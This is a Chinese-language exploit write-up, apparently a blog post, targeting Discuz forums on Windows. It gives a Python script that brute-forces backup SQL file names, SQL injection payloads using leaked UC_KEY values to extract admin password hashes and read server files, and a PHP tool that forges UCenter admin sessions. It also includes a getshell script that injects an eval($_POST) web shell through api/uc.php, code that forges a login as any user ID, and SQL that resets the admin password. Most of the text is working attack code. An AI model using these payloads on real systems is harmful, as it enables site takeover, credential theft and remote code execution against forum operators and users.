前提如果目标存在数据库备份

则可以通过windows短文件名得到备份sql文件

cmd dir /x可以看见短文件名

windows discuz exploit_IT

 

 

 利用爆破下载

windows discuz exploit_IT_02

 

 

 这里笔者写了一个检验脚本

use

 python3 time.py 2020-12-1 2020-12-21 http://192.168.1.104 1

 

import datetime
import sys
import requests

header = {
    "Accept":"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
    "Accept-Encoding":"gzip, deflate, br",
    "Accept-Language":"zh-CN,zh;q=0.9",
    "Connection":"keep-alive",
    "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36",
    "X-CSRF-Token":"DpraMUR6PuefxdVpDmbZmgW9572Oz4CKSkqLa4u+astRxa+NSW5t0gfjlRB8cESuUrBvrD+zkGA9GFcfEYAVZA==",
    "X-Requested-With":"XMLHttpRequest",
    }
def OKtxt(str):
    with open("OKTIME.txt",'a') as b:
        b.write(str+'\n')
def OKstxt(str):
    with open("OKurl.txt",'a') as b:
        b.write(str+'\n')
def OKurl(url,data,sqltime,lens):
    
    try:
        r=requests.get(url=url+'/data/backup~'+str(data)+'/'+str(sqltime)+'~1.sql',headers=header,timeout=10)
        
        if len(r.text) != lens:
            print("===========have SQLback fund ===========")
            print(url+'/backup~'+str(data)+'/'+sqltime+'~1.sql')
            OKstxt(url+'/backup~'+str(data)+'/'+sqltime+'~1.sql')
        else:
            print("=========== no have ===========")
            print(url+'/backup~'+str(data)+'/'+sqltime+'~1.sql')
    except:
       print("===========badly===========")
def create_assist_date(start,end):
    # 创建日期辅助表
    datestart = start
    dateend = end

    # 转为日期格式
    datestart=datetime.datetime.strptime(datestart,'%Y-%m-%d')
    dateend=datetime.datetime.strptime(dateend,'%Y-%m-%d')
    date_list = []
    OKtxt(datestart.strftime('%Y%m%d')[0:2]+datestart.strftime('%Y%m%d')[4:])
    while datestart<dateend:
        # 日期叠加一天
        datestart+=datetime.timedelta(days=+1)
        # 日期转字符串存入列表
        OKtxt(datestart.strftime('%Y%m%d')[0:2]+datestart.strftime('%Y%m%d')[4:])
    print(date_list)


if __name__ == '__main__':
    create_assist_date(str(sys.argv[1]),str(sys.argv[2]))
f =open("OKTIME.txt",'r')
i=0
sqltimes=f.readlines()
r=requests.get(url=sys.argv[3]+'/data/backup~1/301212~1.sql',headers=header,timeout=10)
s=len(r.text)
for sqltime in sqltimes:
    if len(sqltime)>2:
        OKurl(sys.argv[3],sys.argv[4],sqltime[0:-1],s)
    else:
        print("========  OVer ========")

windows discuz exploit_IT_03

 

 

 好了接下来我们得到了备份sql 如果备份sql里面存在关键信息(比如管理员密码 uc_key)

 pre_ucenter_applications的authkey字段找到UC_KEY(dz)

php
$hash = unhex(0x78394c31656645316666313761344f37693135387863536255666f31553256374c65626566336739373459644734773045324c66493473355231703274346d35)
 
$salt = unhex(0x323565616462)

 管理员密码的hash生成规则md5(md5($password).$salt),可以本地跑一下密码

UC_KEY(dz),也就是upload/config/config_ucenter.php下的UC_KEY

windows discuz exploit_IT_04

 

 

 其实DZ一共有两个UC_KEY,另一个在upload/uc_server/data/config.inc.php,用来做uc_server的校权,这里叫UC_KEY(server)。SQL备份泄漏的UC_KEY(dz)主要作用与DZ主程序,包括伪造前台的任意用户(没啥用),而UC_KEY(server)能修改任意后台管理员的密码(很有用)

利用uc_key(dz)构造前台注入exp

注入exp

$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ substr(password,0) from pre_ucenter_members where uid = 1 limit 1)),0)),title=\'a';

 读文件exp

$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ /*!00000load_file*/(\'c:/windows/win.ini\') limit 1)),0)),title=\'a';

 

windows discuz exploit_IT_05

 

 

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf8" />
<title>UCenter Login!</title>
<style type="text/css">
body, div, td {font-size: 12px;font-family: Arial, sans-serif;color: #333;line-height: 16px;}
a{color:#833;text-decoration:none;}
a:hover{color:#147;text-decoration:underline;}
</style>
</head>
<body> 

    <body onload="document.shell.host.focus();">

<form name="shell" method="POST" action="">
 <table border="0" cellpadding="0" cellspacing="5">
  <tr>
   <td valign="top">Host:</td>
   <td><input name="host" cols="45" rows="5"></input>
</td>
  </tr>
  <tr>
   <td valign="top">Uckey:</td>
   <td><input name="uckey" cols="45" rows="5"></input>
</td>
  </tr>
  <tr>
   <td></td>
   <td>
   <input type="submit" id="submit" name="fuck" value="Fuck It" /></td>                
  </tr>
 </table>
</form>
<hr/>
</body> 
</html> 
<?php
if (isset($_POST['fuck']))  {
        $uckey = ($_POST['uckey']);
        $host = ($_POST['host']);
        
        if (preg_match('/http:\/\//',$host)) {
        $url=$host . "/uc_server/admin.php";
        } elseif (preg_match('/https:\/\//',$host)) {
        $url=$host . "/uc_server/admin.php";
        } else {
        $url="http://" . $host . "/uc_server/admin.php";
        }
        
$username = 'UCenterAdministrator';
$agent = $_SERVER['HTTP_USER_AGENT'];
$cip = getenv('HTTP_CLIENT_IP');
$xip = getenv('HTTP_X_FORWARDED_FOR');
$rip = getenv('REMOTE_ADDR');
$srip = $_SERVER['REMOTE_ADDR'];
if($cip && strcasecmp($cip, 'unknown')) {
    $ip = $cip;
} elseif($xip && strcasecmp($xip, 'unknown')) {
    $ip = $xip;
} elseif($rip && strcasecmp($rip, 'unknown')) {
    $ip = $rip;
} elseif($srip && strcasecmp($srip, 'unknown')) {
    $ip = $srip;
}
$ip = '192.168.1.103'; //替换成你当前的ip,可使用XFF
$authkey = md5($ip.$agent.$uckey);
$check = substr(md5($ip.$agent), 0, 8);

$sid = rawurlencode(_authcode("$username\t$check", 'ENCODE', $authkey, 1800));


        $result = $url."?sid=".$sid;
        echo '<a href="'.$result.'" target="_blank">可不可以把我*到不要不要的?</a>';

    


    }

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++){
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++){
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++){
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result.= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE'){
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)){
            return substr($result, 26);
        }else{
            return '';
        }
    }else{
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}
?>

 

 

<?php
$uc_key = "Ydo4GaI998V0p8v0b0p2XeweU2Wdido4X2vfTaq2McR196k5EbydIe5d87R3a9qf";
 
$time = time() + 7200;
$encode = "time=".$time."&action=renameuser&newusername=123&uid=1' sql";
echo urlencode(authcode($encode,'ENCODE',$uc_key));
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

	$ckey_length = 4;

	$key = md5($key ? $key : UC_KEY);
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);

	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);

	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for($i = 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}

	if($operation == 'DECODE') {
		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
			return substr($result, 26);
		} else {
			return '';
		}
	} else {
		return $keyc.str_replace('=', '', base64_encode($result));
	}

}
?>

针对于getshell来说,在x3以前的低版本和部分未更新的x3.2以前版本,我们可以直接利用discuz的uc_key(dz)结合api/uc.php前台getshell,获得uc_key(dz)的方法有:

<?php
$time = time() + 7200;
$host="192.168.1.104";
$uc_key="Ydo4GaI998V0p8v0b0p2XeweU2Wdido4X2vfTaq2McR196k5EbydIe5d87R3a9qf";
$code=urlencode(_authcode("time=$time&action=updateapps", 'ENCODE', $uc_key));
$cmd1='http://x\');eval($_POST[DOM]);//
';
$cmd2='http://x
';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;
function send($cmd){
global $host,$code;
$message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;

//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
	$ckey_length = 4;

	$key = md5($key ? $key : UC_KEY);
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);

	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);

	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for($i = 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}

	if($operation == 'DECODE') {
		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
			return substr($result, 26);
		} else {
				return '';
			}
	} else {
		return $keyc.str_replace('=', '', base64_encode($result));
	}

}?>

 

登录任意你知道uid的用户

<?php
$uc_key="Ydo4GaI998V0p8v0b0p2XeweU2Wdido4X2vfTaq2McR196k5EbydIe5d87R3a9qf";
$a = 'time='.time().'&action=synlogin&uid=1';
echo $code=urlencode(_authcode($a, 'ENCODE', $uc_key));
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
 
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
 
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
 
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
 
    $result = '';
    $box = range(0, 255);
 
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
 
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
 
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
 
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }
 
}

 访问url

http://192.168.1.104/api/uc.php?code=acbbHGtDIKbJf3CY%2BX2v9J8XvcDYTo2FKdgw37hvs50W5Yyuy8ZpCvEEJF3jsFFpib5NFaCp00mpJeTr9RLKSHf%2F

 利用uc_key(server)进入后台

dbbak.php-任意SQL执行

同样要利用UC_KEY(dz)构造数据包

1、在前台上传zip文件,内容为:这里你就要发挥你的想象了 或者用前面api/uc.php的sql注入爆出数据库名

UPDATE `windz`.`pre_ucenter_members` SET `password` = md5(concat(md5('password'),'12345678')), `salt` = '123456' WHERE `uid` = 1;

 

 

 

 

往uc_server/index.php传头像有固定的缓存的,在uc_server/data/tmp/upload{uid}.type

 

C:\Users\localhost\Desktop\Discuz_SC_UTF8\upload\uc_server\data\config.inc.php